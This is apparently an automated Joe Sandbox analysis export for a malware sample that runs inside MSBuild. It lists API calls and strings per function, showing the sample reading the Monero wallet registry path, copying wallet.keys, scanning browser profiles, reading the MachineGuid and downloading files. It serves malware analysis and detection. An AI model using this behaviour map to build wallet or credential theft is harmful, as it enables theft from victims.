Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: 0xA$:\$C$QuBi
API String ID: 1856320939-2474135401
Opcode ID: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction ID: a97db629e7901cba1803c5ad0a4512298f3feb58bff5cd952ebdd5184ea07982
Opcode Fuzzy Hash: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction Fuzzy Hash: A741AFB1A042289BCB249F749D85ADEBBB9EF19304F0000EAF109E3121E6758FD58F54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: b126a83a8e75cd60647665ee46d5c35e74e88a93df8161cbc9eec9515351366c
Instruction ID: 38e87463d8a567d304acc58f085aeda0b6ea51c0627365b5ff586089dea0ca20
Opcode Fuzzy Hash: b126a83a8e75cd60647665ee46d5c35e74e88a93df8161cbc9eec9515351366c
Instruction Fuzzy Hash: ED411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6359E958FA8

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

firefox, xrefs: 0040EE17
Stable\, xrefs: 0040EB71
Stable\, xrefs: 0040ED5B

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
Part of subcall function 00401A51: RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

CopyFileA.KERNEL32(?,?,00000001), ref: 00401C2A

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

\Monero\wallet.keys, xrefs: 00401B2F
.keys, xrefs: 00401B0D

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction ID: 2364c372bad150323d67af03c4d359b51cc93a95bd900eacfe79e48eddbf336c
Opcode Fuzzy Hash: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction Fuzzy Hash: 13515EB1E5011D9BCF11EB25DD466DD7379AF04308F1050BAB60873191DA78AFC98F48

Function 00415DF7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9
Part of subcall function 00415B0B: CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86
Part of subcall function 00415B0B: DeleteFileA.KERNEL32(?), ref: 00415CA9

Strings

\{A, xrefs: 00415FC2

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID: \{A
API String ID: 1546541418-1475862525
Opcode ID: d4b2bde86fe4251d1723cf1afd7b1acd461b49a3d9a868b58b9625d100857c79
Instruction ID: 1319a00e3beaa56ad984c577cc8328c236cda2b61ebb5edaa0c38c4a30c6fdde
Opcode Fuzzy Hash: d4b2bde86fe4251d1723cf1afd7b1acd461b49a3d9a868b58b9625d100857c79
Instruction Fuzzy Hash: 1E51FBB1A0011C9BCF54DB64DC85ADDB7B9BB4C315F4044EAFA09E3250EA35AB898F58

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction ID: 446351bc283c4762e53d247ac54b49bb6219315ee7fac77137ec1a6eb046dabb
Opcode Fuzzy Hash: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction Fuzzy Hash: 4A5191B1D0022C9FDB309F54DC85BDDB7B8AB44308F0001FAA609B7692D6796E898F59

Function 0041566F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
RegCloseKey.ADVAPI32(?), ref: 004156F6
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Strings

.{A, xrefs: 004157FE

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID: .{A
API String ID: 3891774339-8545219
Opcode ID: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction ID: b4758eb7aeb23ac53986d5a941949a19eceae9c1109b67c9f6111efe06dcff68
Opcode Fuzzy Hash: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction Fuzzy Hash: 0C41C07194011D9FDF24EF60EC86EE9777ABB18309F4004AAB509A31A0EE759FC58F94

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 004115D4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
CharToOemA.USER32(?,?), ref: 0041166B

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C
MachineGuid, xrefs: 00411640

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction ID: c9c539ce5467448423737f6d9a950d2a9d5193a79ae08df00dacda0898e1b174
Opcode Fuzzy Hash: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction Fuzzy Hash: 7B111EB590021DAFDB10DF90DC89FEAB7BDEB04309F5041E6A659E2052E6759F888F14

Function 00401A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction ID: 3e4ac90b5bcc3d6fe188be62ffa2ac0dd84bb3fe34a2510e6e6e226720dcc0e4
Opcode Fuzzy Hash: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction Fuzzy Hash: 15F05475780304BFFF14DB90DC0EFAE7A7DDB44B06F141065B601A51D0E7B66A50D664

Function 00410B30 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95
RegCloseKey.ADVAPI32(00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B9E

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
